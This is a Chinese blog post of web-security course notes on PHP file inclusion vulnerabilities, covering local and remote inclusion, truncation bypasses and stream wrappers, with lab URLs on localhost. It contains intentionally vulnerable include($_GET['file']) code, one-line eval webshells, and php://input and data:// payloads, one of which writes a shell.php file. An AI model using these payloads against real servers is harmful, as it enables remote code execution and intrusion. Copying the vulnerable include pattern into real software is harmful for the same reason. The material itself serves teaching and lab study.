31-WEB漏洞-文件操作之文件包含漏洞全解

已于 2023-12-03 20:40:18 修改
阅读量478 收藏 1
点赞数 1
分类专栏： 小迪安全 文章标签： 前端 小迪安全 安全
于 2023-12-03 20:40:02 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_62670778/article/details/134755004
版权

31-WEB漏洞-文件操作之文件包含漏洞全解

在这里插入图片描述

#文件包含漏洞

原理，检测，类型，利用，修复等

#文件包含各个脚本代码
ASP,PHP,JSP,ASPX等

<!-—#include file="1.asp " -->

<!--#include file="top.aspx"-->

<c:import url="http://lthief.one/1.jsp">

<jsp:include page="head .jsp" / >

<%@ include file="head.jsp" %>

<?php Include ( 'test.php ' ) ?>
  • 单纯访问phpinfo.txt文件

在这里插入图片描述

  • 文件包含访问phpinfo.txt文件

在这里插入图片描述

一、本地包含

1.1、无限制包含漏洞文件

  • include.php：
<?php

$filename=$_GET['file'];
include ( $filename);

?>

在这里插入图片描述

1.2、有限制包含漏洞文件

  • include1.php：
<?php


$filename=$_GET['file'];
include ( $filename.".html" );

?>

在这里插入图片描述

  • 传入flag.txt文件参数（执行失败，因为在当前目录不存在flag.txt.html文件）

1.2.1、绕过方法

1.2.1.1、%00截断

  • 条件：

    • magic_quotes_gpc=off
    • php版本<5.3.4

  • 原理：

    • 00截断是操作系统层的漏洞，由于操作系统是C语言或汇编语言编写的，这两种语言在定义字符串时，都是以\0（即0x00）作为字符串的结尾。操作系统在识别字符串时，当读取到\0字符时，就认为读取到了一个字符串的结束符号。
      在这里插入图片描述
      在这里插入图片描述

  • 这里不知道为啥不能截断，所以放弃了
    在这里插入图片描述

1.2.1.2、长度截断

  • 原理（垃圾数据溢出）

  • 超过文件命名256位，后面的HTML就没有被识别，而flag.txt././被当成flag.txt执行
    在这里插入图片描述
    在这里插入图片描述

  • 这里也不行了

二、远程包含

  • 条件：
    在这里插入图片描述

2.1、无限制包含漏洞文件

  • include.php：
<?php

$filename=$_GET['file'];
include ( $filename);

?>

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

  • 包含一句话木马：
<?php eval($_POST['cmd'])?>

在这里插入图片描述

在这里插入图片描述

  • 也可以使用菜刀进行连接：
    在这里插入图片描述

2.2、有限制包含漏洞文件

  • include1.php：
<?php

$filename=$_GET['file'];
include ( $filename.".html" );

?>

在这里插入图片描述

  • 加?号：
    在这里插入图片描述

  • 加%20号：
    在这里插入图片描述

  • 加%23号：
    在这里插入图片描述

  • 使用一句话木马：
    在这里插入图片描述
    在这里插入图片描述

三、各种协议流提交流

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流（I/O streams）
zlib:// — 压缩流
data:// — 数据（RFC 2397）
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
  • php.ini参数设置
    • 在php.ini里有两个重要的参数allow_url_fopen、allow_url_include。
    • allow_url_fopen：默认值是ON。允许url里的封装协议访问文件；
    • allow_url_include：默认值是OFF。不允许包含url里的封装协议包含文件；

3.1、各协议的利用条件和方法

在这里插入图片描述

3.1.1、php://input

  • php://input可以访问请求的原始数据的只读流，将post请求的数据当作php代码执行。当传入的参数作为文件名打开时，可以将参数设为php://input同时post想设置的文件内容，php执行时会将post内容当作文件内容。
  • 注：当enctype=”multipart/form-data”时，php://input是无效的。

3.1.2、file://

  • 用于访问本地文件系统。当指定了一个相对路径（不以/、、\或 Windows 盘符开头的路径）提供的路径将基于当前的工作目录。
  • file://[文件的绝对路径和文件名]
    • http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
  • [文件的相对路径和文件名]
    • http://127.0.0.1/include.php?file=./phpinfo.txt

3.1.3、http://、https://

  • URL 形式，允许通过 HTTP 1.0 的 GET方法，以只读访问文件或资源，通常用于远程包含。
  • [http：//网络路径和文件名]
    • http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

3.1.4、php://

  • php:// 用于访问各个输入/输出流（I/O streams），经常使用的是php://filter和php://input，php://filter用于读取源码，php://input用于执行php代码。
    在这里插入图片描述

3.1.5、php://filter参数详解

在这里插入图片描述

  • 可用的过滤器列表（4类）：
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
  • 读取文件源码用法：
php://filter/read=convert.base64-encode/resource=[文件名]
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
  • 执行php代码用法：
php://input + [POST DATA]
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>

http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

3.1.6、phar://、zip://、bzip2://、zlib://

  • 用于读取压缩文件，zip:// 、 bzip2:// 、 zlib:// 均属于压缩流，可以访问压缩文件中的子文件，更重要的是不需要指定后缀名，可修改为任意后缀：jpg png gif xxx 等等。
1、zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]（#编码为%23）
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
 
2、compress.bzip2://file.bz2
http://127.0.0.1/include.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpghttp://127.0.0.1/include.php?file=compress.bzip2://./file.jpg
 
3、compress.zlib://file.gz
http://127.0.0.1/include.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpghttp://127.0.0.1/include.php?file=compress.zlib://./file.jpg4、phar://

3.1.7、data://

  • 数据流封装器，以传递相应格式的数据。通常可以用来执行PHP代码。
1、data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
 
2、data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

四、 总结

  • 伪协议常常用于文件包含漏洞之中。
  • 在php中能够造成文件包含的函数有include、require、include_once、require_once、highlight_file、how_source、file_get_contents、fopen、file、readfile。
    • include函数：可以放在PHP脚本的任意位置，一般放在流程控制的处理部分中。当PHP脚本执行到include指定引入的文件时，才将它包含并尝试执行。当第二次遇到相同文件时，PHP还是会重新解释一次。
    • require函数：一般放在PHP脚本的最前面，PHP执行前就会先读入require指定引入的文件，包含并尝试执行引入的脚本文件。require的工作方式是提高PHP的执行效率，当它在同一个网页中解释过一次后，第二次便不会解释。
    • include_once和require_once函数：分别与require / include作用相同，不同的是他们在执行到时会先检查目标内容是不是在之前已经导入过，如果导入过了，那么便不会再次重复引入其同样的内容。
    • hightfile函数：highlight_file(filename,return) —— filename：必需。要进行高亮处理的 PHP 文件的路径。return：可选。如果设置 true，则本函数返回高亮处理的代码。该函数通过使用 PHP 语法高亮程序中定义的颜色，输出或返回包含在 filename 中的代码的语法高亮版本。
    • show_source函数：该函数是highlight_file函数的别名。
    • file_get_content函数：把整个文件读入一个字符串中。和 file() 一样，不同的是 file_get_contents() 把文件读入一个字符串。
    • file() 函数：把整个文件读入一个数组中。与 file_get_contents() 类似，不同的是 file() 将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行，包括换行符在内。如果失败，则返回 false。

五、涉及资源

  • https://www.ichunqiu.com/battalion?t=1&r=0
  • http://4.chinalover.sinaapp.com/web7/index.php
  • https://www.cnblogs.com/endust/p/11804767.html #php伪协议
  • https://pan.baidu.com/s/1x_mwVE-xxmoKAvDJ8mRsw 提取码：xiao
月亮今天也很亮
关注
  • 1
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
第32天：WEB漏洞-文件操作之文件下载读取全解1
08-03
1.文件被解析，则是文件包含漏洞 2.显示源代码，则是文件读取漏洞 3.提示文件下载，则是文件下载漏洞
33 WEB漏洞-逻辑越权之水平垂直越权全解-附件资源
03-02
33 WEB漏洞-逻辑越权之水平垂直越权全解-附件资源
31：WEB漏洞-文件操作之文件包含漏洞全解
mingyqf的博客
04-03 1593
31：WEB漏洞-文件操作之文件包含漏洞全解 思维导图 知识点 文件包含漏洞``原理，检测，类型，利用，修复等` `原理：将文件以脚本执行` `文件包含各个脚本代码``ASP,PHP,JSP,ASPXdeng``<!--#``include` `file=``"1.asp"` `-->``<!--#``include` `file=``"1.aspx"` `-->``<c:import url=``"http://thief.one/1.jsp"``>``<jsp
第32天-WEB 漏洞-文件操作之文件下载读取全解
MCTSOG的博客
03-20 1448
导图 漏洞判断 1.文件被解析，则是文件包含漏洞 2.显示源代码，则是文件读取漏洞 3.提示文件下载，则是文件下载漏洞 任意文件下载 漏洞介绍 一些网站由于业务需求，往往需要提供文件查看或文件下载功能，但若对用户查看或下载的文件不做限制，则恶意用户就能够查看或下载任意敏感文件，这就是文件查看与下载漏洞 漏洞产生原因 任意语言代码下载功能函数 漏洞检测 白盒检测 代码审计 Javaweb 文件下载代码 https://blog.csdn.net/Cheng_May/article/details/786
第31天：WEB漏洞-文件操作之文件包含漏洞全解
MCTSOG的博客
03-16 1759
文件包含漏洞 0x00 文件包含 程序开发人员一般会把重复使用的函数写到单个文件中，需要使用某个函数时直接调用此文件，而无需再次编写，这中文件调用的过程一般被称为文件包含。 0x01 文件包含漏洞的成因 程序开发人员一般希望代码更灵活，所以将被包含的文件设置为变量，用来进行动态调用， 但正是由于这种灵活性，从而导致客户端可以调用一个恶意文件，造成文件包含漏洞。 几乎所有脚本语言都会提供文件包含的功能。 在PHP中经常出现包含漏洞，但这并不意味这其他语言不存在。 0x02 文件包含漏洞的分类 本地文件包含.
第31天：WEB漏洞~文件操作之文件包含漏洞全解
廖一语山的博客
10-11 1186
小迪网安、文件包含
第38天：WEB漏洞-反序列化之PHP&JAVA全解(下)1
08-03
标题中的“WEB漏洞-反序列化之PHP&JAVA全解(下)”指的是关于Web应用程序安全领域的一个重要话题，即PHP和JAVA平台上的反序列化漏洞。反序列化漏洞是由于程序在处理序列化数据时没有充分验证输入，从而允许攻击者构造...
第30天：WEB漏洞-RCE代码及命令执行漏洞全解1
08-03
**WEB漏洞-RCE代码及命令执行漏洞全解** 在Web应用程序的开发过程中，为了实现功能的多样性与便捷性，程序员常常会使用代码调用或命令执行功能。然而，这种做法也可能带来严重的安全风险，即代码执行（RCE，Remote ...
前端面试题日常练-day97 【Less】
qq_44640575的博客
07-20 387
border-radius()函数用于在Less中生成圆形边框效果。通过设置border-radius()函数，我们可以为元素的边框添加圆角效果，使边框呈现圆形的外观，从而美化页面元素的边框样式。
TinyVue v3.17.0 正式发布，推出了一款基于 Quill 2.0 的富文本编辑器，功能强大、开箱即用！
OpenTiny的博客
07-17 1241
本文由体验技术团队Kagol老师原创~我们非常高兴地宣布，2024年6月26日，TinyVue 发布了 v3.17.0 🎉。TinyVue 每次大版本发布，都会给大家带来一些实用的新特性，上一个版本我们重构了 chart-core，新增 CircleProcessChart 圆环进度图等6个新的图表组件，并增加了 Statistic 数据统计组件。表格图片超链接复制粘贴插入表情文件上传@提醒斜杆菜单v-auto-tip。
LG 选择 Flutter 来增强其智能电视操作系统 webOS
恋猫de小郭的博客
07-17 1729
总的来说，LG 是 Flutter 在 TV 领域的一次新的尝试，并且它是在脱离了 Android 平台的场景下实现的支持，虽然 webOS 并不是什么流行的系统，但是这也体现出了 Flutter 的特点：可以用较低的成本实现较好性能的跨平台。后续，在 LG 的主导下，WebOS 经过进一步修改，转变为智能电视操作系统，于是 WebOS TV 就诞生了，此后 LG 的 TV 基本路线定为 webOS ，在应用层面，WebOS TV 以基于 Web 的技术为基础。然后 LG 为什么选择 webOS？
纯前端小游戏，4096小游戏，有音效，Html5，可学习使用
m0_62996549的博客
07-18 397
【代码】纯前端小游戏，4096小游戏，有音效，Html5，可学习使用。
前端性能优化--懒加载
weixin_43799793的博客
07-19 164
3、同时还可结合 lazy loading 属性，利用浏览器的原生属性，进一步优化图片加载，不过其延迟加载机制完全是由浏览器自身决定的，在不同浏览器上效果不同(BTW，部分浏览器可能并不支持)。2、然后对元素进行监听，当图片进入可视区域时，提取元素的 data-src 即真实的图片地址赋值给 src 属性，就会去发送请求加载图片，实现了懒加载。设置为 1 张 1px*1px 的透明图片用作占位符，以防止出现出错图标。TinyPNG 网站: https://tinypng.com/
[web]-反序列化-绕过__wakeup(转)
mails2008的专栏
07-18 352
终点：很直接是echo $flag,在__destruct中，username==='admin' 和 password==100。反序列化过程中发现起点在终点之前调用，反而是捣乱的，那我们就不需要自动执行__wakeup，绕过的方法，设置的字段数量比实际字段大的值。其实简单的很简单，难得也很难，慢慢学习就好，没必要焦虑，觉得很难，纯粹一个兴趣爱好就行。起点：_wakeup函数中是$this->username='guest',是给赋值；按照常规思路，寻找起点、终点、跳板。
vue3前端开发-如何让自己的网站适合SEO排名规则
yrldjsbk的博客
07-17 254
我们大家都知道，原始出生的vue3项目，原始代码层面，是没有meta标签的，也就是说，不适合SEO排名规则。SEO排名规则，蜘蛛爬虫抓取网站页面的内容，就会把这种meta标签内容进行采集，匹配。但是，这个技术要求大家还是应该知道的。黑马教育，课程，前端课程案例项目：小兔鲜儿超市，vue3前端项目案例。想学习vue3前端开发，拿来练习，实战的朋友们，值得一看哦。这个代码，就是我自己手工录入的。录入后，再次在浏览器界面刷新请求服务器。返回的代码模块就可以看见了。自己刚刚手工录入的meta信息出现了。
thinkphp8结合layui2.9 图片上传验证
quweiie的专栏
07-21 117
thinkphp8图片上传的验证
前端小项目-强调鼠标悬停时效果的名片
关注收藏，可以私信解决问题！
07-19 1047
在学习完HTML和CSS之后，我们就可以开始做一些小项目了。本篇文章所讲的小项目为——动态效果名片。通过这个项目，你将学会如何使用HTML和CSS来创建一个具有动态效果的名片。
web前端 React 框架面试200题（三）
最新发布
柯晓楠
07-21 389
纯组件是可以编写的最简单和最快的组件。它们可以替换任何只有 render() 的组件。这些组件增强了代码的简单性和应用程序的性能。Context 通过组件树提供了一个传递数据的方法，从而避免了在每一个层级手动的传递 props 属性在JSX表达式中，一个开始标签(比如)和一个关闭标签(比如)之间的内容会作为一个特殊的属性props.children被自动传递给包含着它的组件。
Web安全基础：文件上传漏洞解析与防范
Web安全中的文件处理漏洞主要包括任意文件上传和任意文件下载两大类，这些漏洞常常由于开发者对文件操作的安全性不够重视而导致。任意文件上传漏洞允许攻击者上传恶意脚本到Web服务器，从而可能对服务器造成严重威胁...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值